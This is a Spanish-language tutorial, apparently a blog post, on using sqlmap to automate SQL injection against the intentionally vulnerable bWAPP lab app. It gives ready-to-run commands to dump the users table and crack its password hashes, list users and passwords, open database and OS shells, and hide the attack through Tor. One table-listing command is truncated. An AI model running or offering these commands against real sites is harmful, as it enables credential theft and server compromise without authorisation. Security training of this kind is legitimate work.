¿Qué es SQLmap?
SQLmap es una herramienta desarrollada en python para automatizar ataques del tipo SQL Injection. Su objetivo es detectar y aprovechar las vulnerabilidades existentes en aplicaciones web. Una vez detectada una o varias inyecciones posibles, el usuario tiene la posibilidad de escoger entre una variedad de opciones, como puede ser enumerar usuarios, esquemas, tablas, hashes de contraseñas, permisos, ejecutar sus propias querys o incluso obtener una shell interactiva.
Tiene una gran variedad de características entre las que podemos destacar:
- Soporte completo para varios software de base de datos como MySQL, Oracle, PostgreSQL, mssql, access, SQLite, Firebird, Informix, Amazon Redshift, entre otros.
- Soporte completo para técnicas de inyección SQL como blind SQL, blind basado en tiempo, basado en errores, consultas UNION, apiladas y out-of-band.
- Permite una conexión directa sin la necesidad de pasar por la realización de una inyección SQL.
- Enumeración de bases de datos, tablas, columnas, usuarios, privilegios, roles y hashes de contraseñas.
- Reconocimiento automáticos de formatos de hash y soporte para su descifrado mediante ataques basados en diccionario.
- Soporte para la búsqueda de nombres concretos, tablas, datos o columnas específicas.
- Soporte para la carga y descarga de ficheros.
- Soporte para la ejecución de comandos arbitrarios y recuperación de la salida obtenida por los mismos.
- Soporte para establecer conexiones TCP entre la máquina atacante y el servidor subyacente del servidor de base de datos.
- Compatibilidad para la escalada de privilegios de usuario del proceso de la base de datos mediante el Meterpreter de Metasploit.
Para más información pueden verlo en su totalidad consultando su wiki.
Requerimientos:
- Kali Linux – Attacker
- Base de datos – SQL de la victima
Resposabilidad:
En este tutorial usaremos técnicas de hacking para único uso de aprendizaje, no promovemos su uso con fines lucrativos u/o incorrectos sin permiso, no nos hacemos responsables de cualquier daño que pueda generar en los sistemas que se han usado y que están bajo la responsabilidad del que usa el tutorial.
Instalación de SQLmap
Para los usuarios que utilicen la distribución Kali Linux, no tienen que hacer nada, ya que viene instalada por defecto.
Para el resto, pueden descargarla desde su repositorio oficial en github:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Y posteriormente ejecutar la misma mediante python, como en el siguiente ejemplo:
python sqlmap.py -h
Comandos útiles y ejemplos
En nuestro caso y para mostrar algunas de las funcionalidades más útiles de esta herramienta vamos a realizar el ataque contra el software vulnerable bwapp.
Para empezar haremos un ataque básico a una url mostrando las ddbb existentes:
sqlmap -u "http://example.com/index.php?id=1" --dbs
Los parámetros podríamos incluirlos en la propia url o con la opción –data como en el siguiente ejemplo:
sqlmap -u "http://example.com/index.php" --data="id=1" --dbs
o podemos añadir las cookies como en el siguiente ejemplo:
sqlmap -u "http://example.com/index.php" --data="id=1" --cookie="cookie1=1;cookie2=2" --dbs
Vamos a verlo con un ejemplo, en este caso vamos a utilizar los parámetros data, cookies y dbs para realizar un ataque a una url vulnerable de bwapp.
Ejecutaremos el siguiente comando:
sqlmap -u "http://192.168.56.107/bWAPP/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=7c1395f25965f25e82ef3bba0c893abd; security_level=0" --dbs
Y obtendremos las bases de datos como vemos en la siguiente captura:
Ahora obtendremos las tablas de la ddbb bWAPP:
sqlmap -u "http://192.168.56.107/bWAPP/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=7c1395f25965f25e82ef3bba0c893abd; security_level=0" -
Si os fijáis en el anterior comando, en lugar de añadir la opción –dbs, utilizamos la opción -D para especificar la ddbb y la opción –tables para obtener las tablas de la misma.
Y ahora toca obtener las columnas de por ejemplo la tabla users:
sqlmap -u "http://192.168.56.107/bWAPP/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=7c1395f25965f25e82ef3bba0c893abd; security_level=0" -D bWAPP -T users --columns
En este caso especificamos la tabla con la opción -T y con la opción –columns indicamos que nos muestre las columnas.
Si, a continuación, queremos obtener los datos existentes en lugar de las columnas podemos utilizar la opción –dump
sqlmap -u "http://192.168.56.107/bWAPP/sqli_1.php?title=a&action=search" --cookie="PHPSESSID=7c1395f25965f25e82ef3bba0c893abd; security_level=0" -D bWAPP -T users --dump
Y en este caso, al existir hashes de las contraseñas de los usuarios no solicita si queremos utilizar un diccionario propio o el utilizado por defecto por la herramienta para obtener las claves en plano.
Si quisieramos obtener sólo ciertas columnas, podemo especificar dicha opción con -C como en el siguiente ejemplo:
sqlmap -u "url?id=1" -D database_name -T table_name -C column1,column2,columnn --dump
Ahora vamos a ver varios comandos de ejemplo que pueden ser útiles en según que ocasiones.
Como obtener una shell interactiva con la base de datos:
sqlmap -u "url?id=1" --sql-shell
O una shell del sistema:
sqlmap -u "url?id=1" --os-shell
Especificar el motor de base de datos víctima con la opción –dbms:
sqlmap --dbms=mysql -u "url?id=1" --dbs
Especificar el nivel y riesgo del ataque:
sqlmap -u "url?id=1" --level=1-5 --risk=1-3
Ejecutar nuestra query personalizada:
sqlmap -u "url?id=1" -D database_name -sql-query "SELECT * FROM tablename;"
Utilizar tor para anonimizar nuestro ataque:
sqlmap --tor --tor-type=SOCKS5 --check-tor -u "url?id=1" --dbs
Obtener el banner del motor de base de datos:
sqlmap -u "url?id=1" -b
Listar usuarios y/o contraseñas:
sqlmap -u "url?id=1" –-users --passwords
Como vemos esta herramienta dispone de múltiples combinaciones y posibilidades que pueden ayudar a conseguir explotar esta vulnerabilidad en el equipo víctima.
Espero que les gusten y que sea de ayuda este tutorial.
No vemos.